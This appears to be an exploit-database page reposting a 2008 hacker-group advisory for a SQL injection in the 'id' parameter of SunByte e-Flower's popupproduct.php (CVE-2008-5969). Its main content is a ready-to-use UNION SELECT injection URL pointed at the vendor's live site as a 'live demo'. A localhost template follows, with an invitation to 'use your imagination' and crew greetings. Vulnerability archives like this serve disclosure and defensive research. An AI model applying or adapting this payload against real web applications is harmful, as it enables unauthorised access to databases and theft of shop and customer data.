Exploit SunByte e-Flower - 'id' SQL Injection

[Exploiter]

EDB-ID

7323

Проверка EDB

1. Пройдено

Автор

W4RL0CK

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-5969

Дата публикации

2008-12-02

#===========================================================
#
# SunByte e-Flower SQL Injection Attack by [W4RL0CK]
#
#===========================================================
# 
# VENDOR: Sunbyte  URL: http://www.sunbyte.net/
# APP: Sunbyte e-Flower (eCommerce webapp)
# APP SITE: http://www.sunbyte.net/products/index.php?screen=eflower
# AUTHOR: W4RL0CK
# DATE: 29/11/08
# VULN.: SQL INJECTION
#
# 
# WEBSITE: http://warlock.iblogger.org
# CONTACT: [email protected]
#
#===========================================================
#
# Expl0itin6:
#
# http://localhost/sunbyte/popupproduct.php?id=[uR eViLNeSS HeRe]
#
# Liv3 dEm0:
#
# http://www.sunbyte.net/florist/popupproduct.php?id=1337+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12
#
#
#
# now, use y0ur imaginati0n!  ;) 
# note: there could be more vulnerabilities in the application
#
#===========================================================
#
# gr33tz t0 >>>>>>>>> CHIL34N T34M <<<<<<<<<<<<
#  ===================================================
# [ we ar3: Vicent0! ~ ThE.Xin0x ~ Par4d0gX ~ W4RL0CK ]
#  ===================================================
#
#     and all m3mb3rs of: [MiTM.cL]       & str0ke
#
#===========================================================

# milw0rm.com [2008-12-02]